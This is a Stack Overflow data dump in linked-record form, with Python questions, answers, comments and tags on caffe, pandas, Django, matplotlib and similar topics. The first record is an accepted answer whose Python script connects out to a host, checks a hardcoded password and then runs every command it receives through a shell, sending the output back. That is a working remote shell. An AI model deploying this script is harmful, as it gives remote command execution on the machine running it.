has body: It actually works fine. what if you tried this in a single command: cd /other/directory; ls. You'll see that the directory did in fact "change" for the duration of that command. Every new command will gets a fresh environment (so back to the same original directory). If you really want to change the "server context" in between commands then you need to do that in python. Below is a dirty example added onto the code you provided: #! /usr/bin/python import socket import subprocess import os host = "localhost" port = 12345 passwd = "hacking" def login(): global s s.send("Login: ") pwd = s.recv(1024) if pwd.strip() != passwd: login() else: s.send("Connected #&gt; ") shell() def shell(): while True: data = s.recv(1024).strip() if data == ":kill": break try: cmd, params = data.split(" ", 1) if cmd == ":chdir": os.chdir(params) print "chdir to %s" % (params) s.send("#&gt; ") continue except: pass proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() s.send(output) s.send("#&gt; ") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) login() Same idea as your ":kill" command, if the script see's a ":chdir /new/directory" then python executes the chdir function, otherwise pass it on to Popen.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47019513
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81058971
has comment: http://stackoverflow.com/comment/80992611
answers question: http://stackoverflow.com/q/47019513
has comment: http://stackoverflow.com/comment/81112798
has comment: http://stackoverflow.com/comment/81056473
has comment: http://stackoverflow.com/comment/80987541
has comment: http://stackoverflow.com/comment/81019244
has comment: http://stackoverflow.com/comment/81113020
has comment: http://stackoverflow.com/comment/81019041

http://stackoverflow.com/comment/80975624
comment on: http://stackoverflow.com/q/47011117
type: Comment
type: QuestionComment
score: 0
has text: I am not using nginx , created only uwsgi file. is nginx required ?

http://stackoverflow.com/q/47032171
tagged with: python
has body: After install caffe in conda virtual environment with Python 3.5 I am getting this error on importing caffe Traceback (most recent call last): File "", line 1, in File "/var/caffe-master/python/caffe/init.py", line 1, in from .pycaffe import Net, SGDSolver, NesterovSolver, AdaGradSolver, RMSPropSolver, AdaDeltaSolver, AdamSolver, NCCL, Timer File "/var/caffe-master/python/caffe/pycaffe.py", line 13, in from ._caffe import Net, SGDSolver, NesterovSolver, AdaGradSolver, \ ImportError: /usr/lib/libgdal.so.20: undefined symbol: sqlite3_column_table_name I have installed Caffe for CPU only. Here is what i get when i echo $PYTHONPATH: /home/anaconda3/bin/caffe/python: Please Help!!
accepted answer: http://stackoverflow.com/a/47035733
type: AnsweredQuestion
score: 0
tagged with: anaconda
has title: Caffe installation in ubuntu 17.04: Import Error: /usr/lib/libgdal.so.20: undefined symbol: sqlite3_column_table_name
has answer: http://stackoverflow.com/a/47035733
linked to: http://stackoverflow.com/q/22585235
type: Question
tagged with: python-3.x
tagged with: pycaffe
answer count: 1
tagged with: caffe

http://stackoverflow.com/comment/80986455
score: 0
type: Comment
type: QuestionComment
has text: Yes I have applied the migration multiple times. Even I have tried deleting the status field, apply migration, then recreate the status model field then again apply migration.
comment on: http://stackoverflow.com/q/47019676

decimal
tags question: http://stackoverflow.com/q/46957416
tags question: http://stackoverflow.com/q/47054816
tag name: decimal
tags question: http://stackoverflow.com/q/46959182
type: Tag

http://stackoverflow.com/a/46979752
type: Answer
has comment: http://stackoverflow.com/comment/80907248
has comment: http://stackoverflow.com/comment/115519525
downvote count: 0
answers question: http://stackoverflow.com/q/46979457
has body: How about BytesIO()? from pptx import Presentation from io import BytesIO presentation = Presentation('presentation.pptx') output = BytesIO() presentation.save(output) output.seek(0) # from here do what you like with output, e.g. pass it to something expecting bytes with output.read() This removes the error at least.
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/115532523

http://stackoverflow.com/a/47025015
has comment: http://stackoverflow.com/comment/80997250
answers question: http://stackoverflow.com/q/47024877
type: AcceptedAnswer
downvote count: 0
has body: Try by changing the string element : HTMLDocument.find(id='websiteName').string.replace_with('Bar') from bs4 import BeautifulSoup as soup html = """ Foo """ soup = soup(html, 'lxml') result = soup.find(id='websiteName') print(result) # >>> Foo result.string.replace_with('Bar') print(result) # >>> Bar
accepted answer of: http://stackoverflow.com/q/47024877
upvote count: 25
has comment: http://stackoverflow.com/comment/80997286
type: Answer
has comment: http://stackoverflow.com/comment/80997160
score: 25

http://stackoverflow.com/comment/81014904
comment on: http://stackoverflow.com/a/47034275
type: AnswerComment
has text: @bLAZ When I copy the snippet into my terminal, it runs fine. My guess is you're scraping from a site that dynamically loads content with JS.
score: 0
type: Comment

http://stackoverflow.com/a/47001239
score: 3
upvote count: 3
type: Answer
has body: You can do that by adding the directory where you have installed the idle editor the PATH environment variable. How to do that depends on your operating system: just search the Internet for add directory to path plus your operating system: e.g. Windows/Ubuntu, etc. After changing the environment variable it may be a good idea to restart your PC (to make sure that all programs use the updated version)
downvote count: 0
answers question: http://stackoverflow.com/q/47001108

http://stackoverflow.com/comment/81064296
has text: I want Z[x1,y1] = 1 but if I actually type that in code, Python assigns 1 to the index values of Z, not to x1 and y1 if I use X and Y as the meshgrids...
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47058255

http://stackoverflow.com/q/46963246
has comment: http://stackoverflow.com/comment/80889033
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80874671
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/46963413
has comment: http://stackoverflow.com/comment/80874294
type: Question
score: 0
has title: How to use DictReader in csv package?
has comment: http://stackoverflow.com/comment/80874400
has comment: http://stackoverflow.com/comment/80888965
has body: I try to import my CA-10-60 file with this code: import csv with open('CA-10-60.csv', newline='') as f: reader = csv.DictReader(f, delimiter='') for row in reader: print(row['Contract'], row['Serial']) But I get this Error: Traceback (most recent call last): File "C:/Users/id984876/PycharmProjects/Search Engine SMC/flask/play.py", line 3, in &lt;module&gt; reader = csv.DictReader(f, delimiter='') AttributeError: module 'csv' has no attribute 'DictReader'
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/115827274
score: 1
type: QuestionComment
type: Comment
has text: This question asks for the same solution, a capturing group wrapping the whole expression in a re.split. The duplicate mark should stay.
comment on: http://stackoverflow.com/q/47001777

http://stackoverflow.com/a/46994455
has comment: http://stackoverflow.com/comment/80940269
answers question: http://stackoverflow.com/q/46994348
type: Answer
has body: You have to skip the lines, that are processsed in the subsections: def parse_to_dictionary(lines): def parse_block(lines): contents = {} if next(lines).strip() != '{': raise AssertionError("'{' expected") for line in lines: line = line.strip() if line == '}': return contents elif line[0] == '[': contents[line] = parse_block(lines) else: parts = line.split('\t', 1) contents[parts[0]] = None if len(parts) == 1 else parts[1] lines = iter(lines) key = next(lines) if key[0] != '[': raise AssertionError("format error") return {key: parse_block(lines)}
accepted answer of: http://stackoverflow.com/q/46994348
upvote count: 2
has comment: http://stackoverflow.com/comment/80935505
has comment: http://stackoverflow.com/comment/80936040
type: AcceptedAnswer
downvote count: 0
score: 2

http://stackoverflow.com/q/46938668
has comment: http://stackoverflow.com/comment/80825899
has answer: http://stackoverflow.com/a/46948064
has answer: http://stackoverflow.com/a/69481319
tagged with: scikit-learn
has body: I'm learning deep learning and I would like to print this histogram with matplotlib: from this code who print the data : lr = LogisticRegression() lr.fit(X, y) print(lr.coef_) who prints : [[-0.150896 0.23357229 0.00669907 0.3730938 0.100852 -0.85258357]] edit: I tried the basic hist but I don't understand the output : plt.hist(lr.coef_) plt.show() but i got :
type: Question
has comment: http://stackoverflow.com/comment/80825116
tagged with: matplotlib
tagged with: python
has title: How to print matplotlib histogram coef logistic regression?
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80825876
answer count: 2
accepted answer: http://stackoverflow.com/a/46948064
possible better answer: http://stackoverflow.com/a/69481319

http://stackoverflow.com/comment/80785405
has text: Thanks, that's been a huge help, I've attained a much better understanding on 'for loops'!
comment on: http://stackoverflow.com/a/46918999
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46943061
tagged with: python-3.x
has answer: http://stackoverflow.com/a/53233065
has title: How to iterate over and download each image in an image collection from the Google Earth Engine python api
accepted answer: http://stackoverflow.com/a/46961005
upvote count: 5
has answer: http://stackoverflow.com/a/46961005
tagged with: python
tagged with: google-earth-engine
answer count: 4
has answer: http://stackoverflow.com/a/46945368
type: AnsweredQuestion
tagged with: landsat
score: 5
has answer: http://stackoverflow.com/a/72449128
downvote count: 0
has body: I am new to google earth engine and was trying to understand how to use the Google Earth Engine python api. I can create an image collection, but apparently the getdownloadurl() method operates only on individual images. So I am trying to understand how to iterate over and download all of the images in the collection. Here is my basic code. I broke it out in great detail for some other work I am doing. import ee ee.Initialize() col = ee.ImageCollection('LANDSAT/LC08/C01/T1') col.filterDate('1/1/2015', '4/30/2015') pt = ee.Geometry.Point([-2.40986111110000012, 26.76033333330000019]) buff = pt.buffer(300) region = ee.Feature.bounds(buff) col.filterBounds(region) So I pulled the Landsat collection, filtered by date and a buffer geometry. So I should have something like 7-8 images in the collection (with all bands). However, I could not seem to get iteration to work over the collection. for example: for i in col: print(i) The error indicates TypeError: 'ImageCollection' object is not iterable So if the collection is not iterable, how can I access the individual images? Once I have an image, I should be able to use the usual path = col[i].getDownloadUrl({ 'scale': 30, 'crs': 'EPSG:4326', 'region': region })
favorite count: 0
possible better answer: http://stackoverflow.com/a/53233065
type: Question

http://stackoverflow.com/comment/81022027
score: 0
has text: @AleksandrBorisov can you provide the solution for Python 2.7?
type: Comment
comment on: http://stackoverflow.com/q/47037726
type: QuestionComment

http://stackoverflow.com/q/46939068
has answer: http://stackoverflow.com/a/46949306
tagged with: nltk
has comment: http://stackoverflow.com/comment/80845766
tagged with: python
has body: I am using nltk's wordnet_lemmatizer. Ideally, the word "I'm" should be getting lemmatized to "I". I have tried the following POS taggers: wordnet_lemmatizer.lemmatize("I'm", wordnet.ADV) wordnet_lemmatizer.lemmatize("I'm", wordnet.ADJ) wordnet_lemmatizer.lemmatize("I'm", wordnet.VERB) wordnet_lemmatizer.lemmatize("I'm", wordnet.NOUN)enter code here All of them return "I'm" instead of "I", Any idea what I could be missing?
type: AnsweredQuestion
has title: Lemmatizing "I'm" to "I" using nltk
score: 0
accepted answer: http://stackoverflow.com/a/46949306
answer count: 1
tagged with: wordnet
type: Question

http://stackoverflow.com/q/46956792
has body: I have the PID of a process of a Linux and I want to get the memory usage of that process using a Python script. Is it that possible? What module do I have to use?
duplicate of: http://stackoverflow.com/q/27040880
favorite count: 0
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/80860884
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80861039
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/93747902
downvote count: 1
has title: How to get the memory usage of a process with Python?
linked to: http://stackoverflow.com/q/27040880
score: 0
tagged with: linux
tagged with: bash

http://stackoverflow.com/q/46973666
downvote count: 0
accepted answer: http://stackoverflow.com/a/46973741
favorite count: 0
type: Question
has title: Selecting from a pandas Series where the labels are tuples
tagged with: python
has answer: http://stackoverflow.com/a/46973741
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/46973726
possible better answer: http://stackoverflow.com/a/46973726
answer count: 2
upvote count: 2
tagged with: pandas
has body: I'm trying to do the following: In [11]: import itertools In [12]: states = itertools.product(range(2), range(3)) In [13]: s = pd.Series(np.zeros(6), index=states) In [14]: s.at[(0, 0)] where pd and np are pandas and numpy, respectively. However, this leads to a ValueError: At based indexing on an non-integer index can only have non-integer indexers I can't figure out from http://pandas.pydata.org/pandas-docs/version/0.15.0/indexing.html what is wrong with this; as I understand it, .at is equivalent to .loc when selecting a single value, and here I'm passing the tuple (0, 0) as the index. How can I get this to work? (I'd prefer to use pandas' optimized methods at/loc instead of the __getitem__ methods).

http://stackoverflow.com/q/47007186
answer count: 1
type: Question
tagged with: ctypes
has answer: http://stackoverflow.com/a/47021035
tagged with: python
has title: Python ctypes. Get 2-dim array
tagged with: c++
accepted answer: http://stackoverflow.com/a/47021035
type: AnsweredQuestion
score: 0
has body: I have this c++ code: #define DLLEXPORT extern "C" DLLEXPORT double **points(unsigned N, unsigned D) { double **POINTS = new double * [N]; for (unsigned i=0;i&lt;=N-1;i++) POINTS[i] = new double [D]; for (unsigned j=0;j&lt;=D-1;j++) POINTS[0][j] = 0; // do some calculations, f.e: // POINTS[i][j] = do_smth() // return POINTS } which I compile using this command: g++ -shared gpoints.cc -o gpoints.so -fPIC Now I want to call this function from python using ctypes. I tried smth like this: mydll = ctypes.cdll.LoadLibrary('/.gpoints.so') func = mydll.points mytype = c.c_double * 3 * 10 func.restype = mytype arr = func(10, 3) print(arr) When I try to run it I get: terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc [1] 2794 abort python3 test.py So, how to properly call this function from Python? P.S. I got this library "as is", so, it is desirable to use it without rewriting c++ code.

http://stackoverflow.com/comment/80966666
comment on: http://stackoverflow.com/q/47009890
type: Comment
type: QuestionComment
score: 0
has text: Added output also. In this case XYZ

http://stackoverflow.com/comment/81047487
type: QuestionComment
comment on: http://stackoverflow.com/q/47040854
score: 1
has text: Non-maximum suppression is a technique for combining overlapping bounding boxes. Sample code for this is available on PyImageSearch blog. but for connecting nearby boxes, I think you might have to write your own code.
type: Comment

http://stackoverflow.com/q/47041697
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47041876
has answer: http://stackoverflow.com/a/47041876
tagged with: django
has body: When I run the api, instead of getting category name and subcategory name, I get their id, [ { "id": 1, "name": "StrawBerry", "category": 1, "subcategory": 1 } ] I actually want something like this: [ { "id": 1, "name": "StrawBerry", "category": "Fruits", "subcategory": "Berries" } ] Note: I already have category and subcategory. I just want to know how to access them. models.py from django.db import models class Category(models.Model): category = models.CharField(max_length=200) parent = models.ForeignKey('self', blank=True, null=True, related_name='children') class Meta: unique_together = ('parent' , 'category') def __str__(self): return self.category class SubCategory(models.Model): subcategory = models.CharField(max_length=200) category = models.ForeignKey('Category', null=True, blank=True) parent = models.ForeignKey('self', blank=True, null=True, related_name='subchilren') class Meta: unique_together = ('parent' , 'subcategory') def __str__(self): return self.subcategory class Product(models.Model): name = models.CharField(max_length=200) category = models.ForeignKey('Category', null=True, blank=True) subcategory = models.ForeignKey('SubCategory', null=True, blank=True) def __str__(self): return self.name serializers.py class GetProductSerializer(serializers.ModelSerializer): class Meta: model = Product fields = ('id', 'name', 'category', 'subcategory') views.py class GetProductViewSet(viewsets.ModelViewSet): serializer_class = GetProductSerializer queryset = Product.objects.all()
tagged with: python
has title: Displaying ForeignKey attributes in DRF
type: AnsweredQuestion
score: 2
upvote count: 2
answer count: 1
downvote count: 0
tagged with: django-rest-framework

http://stackoverflow.com/comment/80900741
type: QuestionComment
comment on: http://stackoverflow.com/q/46970125
score: 0
type: Comment
has text: @dirkgroten hi, thanks for reply... I have tried as you suggested, but the problem is it's not creating entries in database properly, the error I am getting is some field doesn't have a default value, but actually it does have a default value set. Don't know why??? do you have any idea on this...

http://stackoverflow.com/a/46995444
upvote count: 1
score: 1
downvote count: 0
has body: Following the suggestion from @gseva setting unit='ms' the parse provides the correct YYYYMMDD string. The units were in nanoseconds instead of milliseconds. Input: ts_conv = pd.to_datetime(df['EXECUTION_TIMESTAMP'], unit='ms')[0] parser.parse(str(ts_conv)).strftime('%Y%m%d') Output: '20170427'
type: Answer
answers question: http://stackoverflow.com/q/46981872

http://stackoverflow.com/q/46970872
upvote count: 5
tagged with: caffe
accepted answer: http://stackoverflow.com/a/46973839
tagged with: python
has answer: http://stackoverflow.com/a/46973839
type: AnsweredQuestion
has body: I am using Python Caffe, and confused with net.layers[layer_index].blobs and net.params[layer_type]. If I understand well, net.params contains all the network parameters. Take the LeNet for example, net.params['conv1'] represents the network coefficients for the 'conv1' layer. Then net.layer[layer_index].blobs should represent the same. However, what I found is that they are not exactly the same. I use the following codes to test it: def _differ_square_sum(self,blobs): import numpy as np gradients = np.sum(np.multiply(blobs[0].diff,blobs[0].diff)) + np.sum(np.multiply(blobs[1].diff,blobs[1].diff)) return gradients def _calculate_objective(self, iteration, solver): net = solver.net params = net.params params_value_list = list(params.keys()) [print(k,v.data.shape) for k,v in net.blobs.items()] layer_num = len(net.layers) j = 0 for layer_index in range(layer_num): if(len(net.layers[layer_index].blobs)&gt;0): cur_gradient = self._differ_square_sum(net.layers[layer_index].blobs) key = params_value_list[j] cur_gradient2 = self._differ_square_sum(params[key]) print([cur_gradient,cur_gradient2]) assert(cur_gradient == cur_gradient2) Any ideas on the difference between them? Thanks.
score: 5
tagged with: deep-learning
downvote count: 0
answer count: 1
tagged with: neural-network
favorite count: 0
type: Question
has title: What's the difference between net.layers.blobs and net.params in Caffe
tagged with: pycaffe

http://stackoverflow.com/a/48557199
has body: Here is my solution for converting 'static' length of npy file to a tensor. 1. Use tf.read_file() to get raw string 2. according https://docs.scipy.org/doc/numpy-dev/neps/npy-format.html, you can extra value from raw string, using tf.substr() 3. Use tf.py_func and struct.unpack to convert binary raw string to tf.float64 Hope this can help you. :)
score: 0
answers question: http://stackoverflow.com/q/47058092
type: Answer

http://stackoverflow.com/a/48372262
has body: Just to follow up on this in case of anyone from the Google is looking for the answer... Better to add in extra parameters as a wildcard. You just need to add in macro_block_size as a karg with the correct formatting. For example: kargs = { 'fps': 3, 'quality': 10, 'macro_block_size': None, 'ffmpeg_params': ['-s','600x450'] } imageio.mimsave(gifOutputPath, images, 'FFMPEG', **kargs) In the OP example it would be: ready_images = [] for img in videos['Images']: image = imageio.imread(img.fileName) ready_images.append(image) video_name = videos['Images'][0].gifLocationPath + "//" + videos['Name'] kargs = { 'macro_block_size': None } imageio.mimwrite(video_name, ready_images, 'MP4', **kargs)
has comment: http://stackoverflow.com/comment/137928413
type: Answer
has comment: http://stackoverflow.com/comment/139903640
score: 3
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/46976455

http://stackoverflow.com/q/46952947
has answer: http://stackoverflow.com/a/46953206
tagged with: suptitle
answer count: 1
downvote count: 0
score: 13
tagged with: python
upvote count: 13
type: AnsweredQuestion
tagged with: matplotlib
has title: Suptitle alignment issues
favorite count: 0
accepted answer: http://stackoverflow.com/a/46953206
type: Question
has body: I would like to align my suptitle in the top left-hand corner on each page of the multiple PDF document I am trying to create, however, it doesn't seem to be doing as I try to ask. The below script produces the suptitle in the top and centre. I cannot figure out what I am doing wrong: import datetime import numpy as np from matplotlib.backends.backend_pdf import PdfPages import matplotlib.pyplot as plt pdf = PdfPages('TestPDF.pdf') Countries = ['Argentina', 'Australia'] for country in Countries: fig = plt.figure(figsize=(4, 5)) fig.set_size_inches([10, 7]) plt.suptitle(country, horizontalalignment='left', verticalalignment='top', fontsize = 15) x = 1000 plt.plot(x, x*x, 'ko') pdf.savefig() plt.close(fig) pdf.close() Strangely: verticalalignment='bottom' only shifts the suptitle higher (and off the top of the page slightly), which makes me think that it is aligning itself off different boundaries than the edges of the page?

http://stackoverflow.com/a/53782362
answers question: http://stackoverflow.com/q/46975929
upvote count: 5
type: Answer
has body: You can use the Distance library #pip install Distance import distance distance.jaccard("decide", "resize") # Returns 0.7142857142857143
score: 4
downvote count: 1
has comment: http://stackoverflow.com/comment/130449681

http://stackoverflow.com/q/46915159
answer count: 1
type: Question
type: UnansweredQuestion
has title: Error in cv::imshow
has body: I am trying to run this Python program but it gives an error. I don't understand what is the error and how to solve it. Error: error: ..\..\..\..\opencv\modules\highgui\src\window.cpp:261: error: (-215) size.width&gt;0 &amp;&amp; size.height&gt;0 in function cv::imshow Source code: import cv2 import matplotlib.pyplot as plt #original img img = cv2.imread('1.jpeg') #gray img img1 = cv2.imread('1.jpeg',0) #display img cv2.imshow('img',img) cv2.imshow('gray img',img1) #view image size or shape print (img.shape) print(img1.size) #number of pixels print(img.size) print(img1.size) #graph """ x1=[6,2,4,3] x2=[2,3,4,5] plt.scatter(x1,x2) plt.show() """ #write an image cv2.imwrite('gray_image.jpeg',img1) #access specific index print(img[150,150]) #modify the pixel value img[150,150] = 30 print (img[150,150]) #crop image crop = img[100:150,100:150] cv2.imshow('cropped image',crop) #img will display till press the enter cv2.waitKey(0) The error is in line: cv2.imshow('img',img)
tagged with: python
has answer: http://stackoverflow.com/a/46923373
score: 0

http://stackoverflow.com/comment/80999712
type: QuestionComment
has text: @information_interchange if there is no sleep - yes, only one process is running
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47026050

http://stackoverflow.com/comment/80956743
has text: I guess you wanted to write `myTest(int *arr)`. But this also wont work because `int *arr` isn't a python object. You either should not declare this a python function (`cdef` instead of `cpdef`) or choose another signature.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/47004570

http://stackoverflow.com/q/47047722
tagged with: python
score: -1
answer count: 4
tagged with: list
upvote count: 0
has answer: http://stackoverflow.com/a/47047827
tagged with: file
has title: Python: Average Prie per Year
downvote count: 1
has answer: http://stackoverflow.com/a/47047926
favorite count: 0
type: Question
tagged with: average
has answer: http://stackoverflow.com/a/47047986
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47047776
has body: Would anyone be able to help me with the below? I'm trying to create a program that can open the "notepad.txt" file and calculate the average price for the month of October. notepad.txt 10-15-2012:3.886 10-22-2012:3.756 10-29-2012:3.638 infile = open('notepad.txt', 'r') def clean_data(): line1 = infile.readline() split1 = line1.rstrip('\n') items = split1[0].split('-') del items[0] del items[0] master = [] master = master + split1 + items master = list(map(float, master)) print(master) print(total) line1 = infile.readline() clean_data()

http://stackoverflow.com/comment/80835987
type: Comment
has text: You might want to try a library like [schedule](https://schedule.readthedocs.io/en/stable/).
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/46943968

http://stackoverflow.com/q/47023601
has comment: http://stackoverflow.com/comment/80994328
tagged with: python
accepted answer: http://stackoverflow.com/a/47023649
has answer: http://stackoverflow.com/a/47023649
upvote count: 4
has title: Why is the first tab (\t) not in line with the others?
type: AnsweredQuestion
tagged with: tabs
possible better answer: http://stackoverflow.com/a/47023640
score: 3
answer count: 3
has comment: http://stackoverflow.com/comment/80994296
tagged with: string
has body: I made a frequency analysis program. It returns this sorted tuple for a certain string: frequency = [('Z', 110), ('D', 81), ('O', 78), ('V', 69), ('I', 69), ('J', 64), ('C', 58), ('N', 56), ('M', 54), ('Y', 35), ('G', 30), ('P', 27), ('B', 24), ('H', 23), ('X', 23), ('R', 19), ('T', 16), ('W', 15), ('A', 12), ('K', 12), ('F', 8), ('Q', 8), ('E', 2), ('S', 1)] So I want to print the cipher letter and its frequency. In addition, I have an alphabet ordered by letter frequency in English(ordered_alphabet = "ETAOINSRHLDCUMFPGWYBVKXJQZ") I want to put each of these letters next to my cipher letter and frequency to help me figure out what the cipher letter could be. So I do: for item in frequency: print("%s : %s \t \t %s" % (item[0], item[1], ordered_alphabet[frequency.index(item)])) This returns: Z : 110 E D : 81 T O : 78 A V : 69 O I : 69 I J : 64 N C : 58 S N : 56 R M : 54 H Y : 35 L G : 30 D P : 27 C B : 24 U H : 23 M X : 23 F R : 19 P T : 16 G W : 15 W A : 12 Y K : 12 B F : 8 V Q : 8 K E : 2 X S : 1 J Why is the first ordered_letter(E) not in line with the other ordered letters? I used \t for all of them.
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80994342
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47023736
has answer: http://stackoverflow.com/a/47023640

http://stackoverflow.com/comment/80766111
type: QuestionComment
comment on: http://stackoverflow.com/q/46909431
score: 0
type: Comment
has text: If you are using for loop then its not vectorizing. Try will scikit `HashVectorizer` to get the sparse matrix.

http://stackoverflow.com/q/46964459
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46969243
has body: I have a 2D array, and I want to calculate the average distance between each column taking into account every row. For example, if I had the 2D array: 2 2 3 4 2 5 1 5 2 I want to compute the average distance between columns 1 and 2 across all rows, 1 and 3 across all rows, and 2 and 3 across all rows. The average distance across columns 1 and 2 would be ( |2-2| + |4-2| + |1-5| ) / 3, which equals 2. Is there a numpy function that accomplishes this?
tagged with: python
accepted answer: http://stackoverflow.com/a/46964548
has title: Numpy - Average distance between columns
tagged with: numpy
has answer: http://stackoverflow.com/a/46964548
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/46969243
score: 1

http://stackoverflow.com/a/46986786
answers question: http://stackoverflow.com/q/46986727
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80920522
has body: def sum67(nums): # flag to know if we are summing active = True tot = 0 for n in nums: # if we hit a 6 -&gt; deactivate summing if n == 6: active = False if active: tot += n # if we hit a seven -&gt; reactivate summing if n == 7 and not active: active = True return tot
type: Answer

http://stackoverflow.com/q/47058497
favorite count: 0
has answer: http://stackoverflow.com/a/47059073
type: Question
has comment: http://stackoverflow.com/comment/81064627
linked to: http://stackoverflow.com/q/129077
downvote count: 0
answer count: 1
score: 6
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81064569
has title: Django QuerySet.exclude(): Why are all excluded?
upvote count: 6
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81064440
accepted answer: http://stackoverflow.com/a/47059073
has body: I have a situation like this: ids = [None, None, None] foo = Foo.objects.filter(common=True).exclude(id__in=ids) This seems to exclude all always. Why is id of id__in threated as None in this case? pk__in didn't work either. I expect it to not exclude anything as all objects have valid id's. foo = Foo.objects.filter(common=True) Returns all objects like expected.

http://stackoverflow.com/q/46976455
has body: I'm working in python with some images and I'm trying to convert a series of images with size = 961x509 into an MP4 movie file. I've already did this and it's working but I have a quite annoying problem with a warning which says something like this : WARNING:root:IMAGEIO FFMPEG_WRITER WARNING: input image is not divisible by macro_block_size=16, resizing from (509L, 961L) to (512L, 976L) to ensure video compatibility with most codecs and players. To prevent resizing, make your input image divisible by the macro_block_size or set the macro_block_size to None (risking incompatibility). You may also see a FFMPEG warning concerning speedloss due to data not being aligned. [swscaler @ 04f8ac40] Warning: data is not aligned! This can lead to a speedloss The problem that warning appears is my images resolution, that resolution should be divisible by 2, but mine it doesn't. Is it there any possibility to just make this warning to don't appear again? Because I can't change the size of my images and in the same time I don't want to resize all of them. Here is my code: ready_images = [] for img in videos['Images']: image = imageio.imread(img.fileName) ready_images.append(image) videoName = videos['Images'][0].gifLocationPath + "//" + videos['Name'] imageio.mimwrite(videoName, ready_images, 'MP4') Is anyone here how has a solution for me? UPDATE: If I'm gonna put macro_block_size to None in this way(That's the only way I know): ready_images = [] for img in videos['Images']: image = imageio.imread(img.fileName) ready_images.append(image) video_name = videos['Images'][0].gifLocationPath + "//" + videos['Name'] imageio.mimwrite(video_name, ready_images, 'MP4', macro_block_size = None) I will receive this error message: Error while opening encoder for output stream #0:0 - maybe incorrect parameters such as bit_rate, rate, width or height Traceback (most recent call last): File "", line 146, in run() File "", line 136, in run for i, _ in tqdm(enumerate(pool.imap_unordered(generateGI…
favorite count: 0
type: Question
upvote count: 12
has comment: http://stackoverflow.com/comment/80900909
tagged with: python-imageio
tagged with: ffmpeg
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48372262
has comment: http://stackoverflow.com/comment/80900689
tagged with: python
tagged with: http://stackoverflow.com/tag/mp4
tagged with: video
score: 12
has title: Python ImageIO WARNING:root:IMAGEIO FFMPEG_WRITER WARNING
downvote count: 0
answer count: 1

http://stackoverflow.com/a/46985699
type: Answer
accepted answer of: http://stackoverflow.com/q/46985622
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46985622
has body: The documentation has a definition for \b: \b is defined as the boundary between a \w and a \W character (or vice versa), or between \w and the beginning/end of the string Since for example, '&lt;' and ' ' are both \W, there is no boundary the between &lt;&lt;TIME&gt;&gt; and space. Therefore, \b does not match. For your trivial example, try: string.replace('&lt;&lt;NAME&gt;&gt;', '1234') If you actually do need a regular expression, just drop the \b: re.sub('&lt;&lt;NAME&gt;&gt;', '1234', string)
has comment: http://stackoverflow.com/comment/80918689

http://stackoverflow.com/q/46969675
downvote count: 0
linked to: http://stackoverflow.com/q/16655089
answer count: 4
has answer: http://stackoverflow.com/a/46969766
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/16655089
accepted answer: http://stackoverflow.com/a/46969744
upvote count: 1
possible better answer: http://stackoverflow.com/a/46969843
tagged with: python
has answer: http://stackoverflow.com/a/46969744
has answer: http://stackoverflow.com/a/46969843
has title: How to create a random list with only unique values?
has comment: http://stackoverflow.com/comment/80899016
has body: I want to create a random list with 100 elements. So far, so good... Example 1: works fine, because the function has a range which is big enough not to repeat any value list = random.sample(range(1,200),100) Example 2: Does not work, because the range is too small (sample is larger than population) list = random.sample(range(50,80),100) I am looking for a way to create that random list with more values than the range and it is no problem that the elements exists several times.
type: AnsweredQuestion
tagged with: list
tagged with: random
has answer: http://stackoverflow.com/a/46969735
score: 1

http://stackoverflow.com/a/75044449
downvote count: 0
answers question: http://stackoverflow.com/q/47020963
upvote count: 1
score: 1
type: Answer
has body: The simplest possible solutions: cell.value = None cell.border = None # Border() more recommended cell.fill = PatternFill()

http://stackoverflow.com/q/46910972
tagged with: object-detection-api
has title: tensorflow OOM after some train steps when use Object Detection API
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/90467109
tagged with: tensorflow
has answer: http://stackoverflow.com/a/47022200
score: 0
tagged with: python
tagged with: object-detection
